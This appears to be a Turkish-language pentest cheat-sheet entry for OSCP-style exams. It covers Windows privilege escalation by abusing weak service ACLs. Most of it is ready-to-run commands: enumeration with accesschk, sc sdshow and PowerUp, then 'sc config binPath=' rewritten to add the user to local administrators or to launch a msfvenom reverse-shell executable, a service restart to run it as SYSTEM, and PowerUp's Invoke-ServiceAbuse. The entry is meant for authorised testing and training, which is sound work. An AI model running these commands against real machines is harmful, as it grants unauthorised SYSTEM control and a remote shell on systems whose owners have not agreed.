PrivEsc ✓ EXAM-SAFE kolay
Zayıf Servis İzinleri → sc config binPath ile SYSTEM
Bir servis nesnesi üzerinde SERVICE_CHANGE_CONFIG (veya WRITE_DAC/SERVICE_ALL_ACCESS) hakkın varsa, sc config ile binPath'i kendi komutunla değiştirip servisi restart ederek SYSTEM olarak kod çalıştırırsın.
Bilgi: ÖN KOŞULLAR
- Hedef servis üzerinde SERVICE_CHANGE_CONFIG veya SERVICE_ALL_ACCESS
- Servisi başlatma/durdurma hakkı (SERVICE_START/STOP) veya reboot
- Servisin LocalSystem (veya yüksek yetkili bir hesap) altında çalışması
┌──
Komutlar
accesschk ✓ EXAM-SAFE user
accesschk.exe -accepteula -uwcqv "%USERNAME%" * Mevcut kullanıcının yazma hakkına (SERVICE_CHANGE_CONFIG dahil) sahip olduğu TÜM servisleri listeler — klasik zayıf servis ACL avı. HackTricks — Windows Local Privilege Escalation (accesschk service permissions)
accesschk ✓ EXAM-SAFE user
accesschk.exe -accepteula -uwcqv "Authenticated Users" * Authenticated Users grubuna açık servisleri tarar; SERVICE_CHANGE_CONFIG görünen her servis adaydır. HackTricks — Windows Local Privilege Escalation
powershell ✓ EXAM-SAFE user
Get-Service | ForEach-Object { $_.Name }; sc.exe sdshow VulnSvc Servisleri listele ve sc sdshow ile hedef servisin SDDL'ini al; içinde RP/WP/DC/'WD' (WRITE_DAC) veya CC (SERVICE_CHANGE_CONFIG) hakları için kullanıcı SID'i ara. HackTricks — Windows Local Privilege Escalation (sc sdshow)
powerup ✓ EXAM-SAFE user
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Get-ModifiableService" PowerUp ile yazılabilir/yapılandırılabilir servisleri otomatik bulur; Invoke-ServiceAbuse ile istismarı da otomatikleştirir. PowerSploit/PowerUp — Get-ModifiableService
cmd ✓ EXAM-SAFE user
sc qc "VulnSvc" Mevcut binPath, START_TYPE ve SERVICE_START_NAME bilgisini al; değiştirmeden önce orijinali not et. Microsoft Docs — sc qc
cmd ✓ EXAM-SAFE user
sc config "VulnSvc" binPath= "C:\Windows\System32\cmd.exe /c net localgroup administrators {{USER}} /add" start= demand obj= LocalSystem binPath'i kullanıcını yerel admin yapan komutla değiştir. DİKKAT: 'binPath= ' sonrası boşluk şart, '=' bitişik. HackTricks — Windows Local Privilege Escalation (sc config binPath abuse)
cmd ✓ EXAM-SAFE user
sc config "VulnSvc" binPath= "C:\Windows\Temp\rev.exe" Alternatif: binPath'i önceden yüklediğin msfvenom reverse-shell exe'sine yönlendir. SYSTEM olarak çağrılır. OffSec PEN-200 — Service Abuse
cmd ✓ EXAM-SAFE user
sc stop "VulnSvc" & sc start "VulnSvc" Servisi yeniden başlatarak yeni binPath komutunu SYSTEM olarak tetikle. Servis 'StartService FAILED 1053' verse bile komut çoğu kez çalışır. HackTricks — Windows Local Privilege Escalation
powerup ✓ EXAM-SAFE user
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-ServiceAbuse -Name 'VulnSvc' -UserName '{{DOMAIN}}\{{USER}}'" PowerUp tek komutta binPath'i değiştirip kullanıcıyı admin yapar ve servisi geri eski haline döndürür. PowerSploit/PowerUp — Invoke-ServiceAbuse
Zafiyetin Mantığı
Her servis nesnesinin bir DACL’i vardır. Eğer düşük yetkili kullanıcı/gruba (Authenticated Users, INTERACTIVE, Users veya doğrudan kullanıcına) SERVICE_CHANGE_CONFIG (CC), WRITE_DAC (WD) ya da SERVICE_ALL_ACCESS verilmişse, servisin binPath’ini istediğin komuta çevirip servisi yeniden başlattığında o komut servisin hesabıyla — tipik olarak LocalSystem — çalışır.
Tespit / Enumeration
- accesschk en doğrudan yol:
-uwcqvile bir kullanıcı/grubun yazılabilir servislerini tarar.SERVICE_CHANGE_CONFIG,SERVICE_ALL_ACCESSveyaWRITE_DACgördüğün her servis aday. - sc sdshow
<svc>ile SDDL’i incele; ACE’lerde kullanıcı SID’inin yanındaCCLCSWRPWPDTLOCRRCgibiWP/CC/WDflag’lerini ara. - PowerUp
Get-ModifiableServiceher şeyi otomatik bulur. - winPEAS Services bölümünde ‘You can modify this service’ uyarısı verir.
Her zaman sc qc <svc> ile SERVICE_START_NAME = LocalSystem olduğunu doğrula — NT SERVICE\... veya düşük yetkili bir hesapsa kazanç sınırlı olur.
Exploitation
- Orijinal
binPath,START_TYPEveobj=’isc qcile not et (geri döndürmek için). sc config <svc> binPath= "..."ile yolu değiştir. İki kritik syntax kuralı:binPath=sonrasında bir boşluk olmalı,=ise parametreye bitişik olmalı.- Hızlı kazanç için doğrudan
net localgroup administrators <user> /addçalıştır; veya reverse shell exe’ye yönlendir. sc stop+sc startile tetikle. Servis SCM’ye yanıt vermediği içinerror 1053/1064görmen normaldir; komutun çoğu zaman yine de işler.- Yeni admin grup üyeliğini
net localgroup administratorsile doğrula ya da shell’ini yakala.
Notlar / Tuzaklar
- Sadece START hakkın varsa (CHANGE_CONFIG yoksa) binPath’i değiştiremezsin; o durumda servis zaten zayıf binary’ye işaret ediyorsa
win-unquoted-svc/win-dll-hijack’e bak. - İşin bitince
sc configile binPath’i orijinaline geri döndür — aksi halde servis ve uygulama bozulur; pentestte temizlik zorunlu. obj= LocalSystemvestart= demandeklemek, servis düşük yetkili bir hesapla çalışıyorsa onu SYSTEM’e zorlayabilir (config change hakkın varsa).- PowerUp
Invoke-ServiceAbusetüm akışı otomatikleştirir ve servisi geri restore eder; OSCP’de manuelsc configyöntemini bilmek esastır.
┌──
Kaynaklar
↗ HackTricks — Windows Local Privilege Escalation (Service Permissions)↗ PowerSploit / PowerUp — Get-ModifiableService & Invoke-ServiceAbuseMicrosoft Docs — sc.exe config reference